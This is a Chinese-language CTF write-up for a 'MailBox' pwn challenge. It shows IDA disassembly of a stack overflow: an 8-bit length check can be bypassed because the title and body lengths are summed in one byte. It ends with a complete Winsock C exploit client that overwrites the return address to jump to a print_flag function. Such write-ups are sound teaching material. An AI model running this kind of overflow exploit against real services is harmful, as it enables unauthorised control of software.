MailBox writeup(step1)

又是一道pwn。這題貌似是藍蓮花的題目=,=

先用連接上去看看,好像是個發送郵件的程序,有很多的字符串的輸入,但是好像都是限制了長度了。長度限制一到就毫不留情的結束輸入。
看不出什麼,直接丟ida。
主要的代碼都在main函數裏面。相當坑爹的流程,慢慢理清楚吧。

溢出點是在sendmail函數裏面。


.text:08049362  mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049369  call    _printf
.text:0804936E  mov     dword ptr [esp+4], 0FFh ; a2
.text:08049376  mov     eax, [ebp+title]
.text:08049379  mov     [esp], eax      ; a1
.text:0804937C  call    get_input
.text:08049381  mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049388  call    _printf
.text:0804938D  mov     eax, [ebp+title]
.text:08049390  mov     [esp], eax      ; format
.text:08049393  call    _printf
.text:08049398  mov     dword ptr [esp], 0Ah ; c
.text:0804939F  call    _putchar
.text:080493A4  mov     dword ptr [esp], offset aBody ; "Body:"
.text:080493AB  call    _printf
.text:080493B0  mov     dword ptr [esp+4], 0FFh ; a2
.text:080493B8  mov     eax, [ebp+body]
.text:080493BB  mov     [esp], eax      ; a1
.text:080493BE  call    get_input
.text:080493C3  mov     [ebp+bodylength], 0
.text:080493C7  mov     [ebp+titlelength], 0
.text:080493CB  mov     eax, [ebp+body]
.text:080493CE  mov     [esp], eax      ; s
.text:080493D1  call    _strlen         ;這裏返回輸入的body的長度
.text:080493D6  mov     [ebp+bodylength], al
.text:080493D9  mov     eax, [ebp+title]
.text:080493DC  mov     [esp], eax      ; s
.text:080493DF  call    _strlen         ;這裏是title的長度
.text:080493E4  mov     [ebp+titlelength], al
.text:080493E7  movzx   eax, [ebp+titlelength]
.text:080493EB  movzx   edx, [ebp+bodylength]
.text:080493EF  add     eax, edx
.text:080493F1  cmp     al, 78h         ;兩個長度相加和78比較,過大則退出。
.text:080493F3  jle     short loc_804940E

雖然有限制,但是不感覺al太小了嗎?稍微構造一下body和title的長度。這個限制幾乎沒用。
這裏有一段

.text:0804942A                 mov     dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "...
.text:08049432                 lea     eax, [ebp+bigsql]
.text:08049438                 mov     [esp], eax      ; s
.text:0804943B                 call    _sprintf

棧長度不夠,可以構造溢出。然後程序中有打印flag的函數。

.text:08048BBD                 public print_flag

返回到這裏就可以了。
然後因爲輸入中有用戶名等等的,所以構造的參數有所不同。
主要是
'a'*220 + 0x08048BBD(函數地址)
至於怎麼湊出220個字符就隨意了。

給段代碼。代碼略長,會寫的跳過吧。


#include<winsock2.h> 
#include<stdio.h> 
#include <Windows.h>

#pragma comment(lib,"ws2_32.lib") 
int main (void)
{ 
    int i;
    WSADATA wsaData; 
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    char    message[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData); 
    sockClient=socket(AF_INET,SOCK_STREAM,0); 

    addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****"); 
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR)); 

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //Login
    message[0]='2';
    message[1]='a';
    send(sockClient,message,2,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //name
    for(i=1;i<10;i++)
        message[i-1]=i+48;
    message[9]='0';
    message[10]='1';
    //message[11]=0x0a;
    send(sockClient,message,11,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //pass
    message[0]='1';
    message[1]='2';
    message[2]='3';
    message[3]='4';
    message[4]='5';
    //message[5]='\n';
    send(sockClient,message,5,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);


    //send mail
    message[0]='3';
    message[1]='a';
    send(sockClient,message,2,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //to
    for(i=1;i<30;i++)
    {
        message[i-1]='a';
    }
    send(sockClient,message,29,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);


    //title
    for(i=1;i<250;i++)
    {
        message[i-1]='a';
    }
    message[119]=0xbd;              //這裏是返回值
    message[120]=0x8b;
    message[121]=0x04;
    message[122]=0x08;
    message[249]=0x0a;
    send(sockClient,message,250,0);

    Sleep(1000);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //body
    for(i=1;i<55;i++)
    {                               //湊點字符滿足長度
        message[i-1]='a';
    }
    message[54]=0x0a;
    send(sockClient,message,55,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    closesocket(sockClient); 
    WSACleanup();
    return 0;
} 

啥,你說python,python是什麼,能吃嗎?

這題還有個step,分兩部分吧。

發佈了23 篇原創文章 · 獲贊 17 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章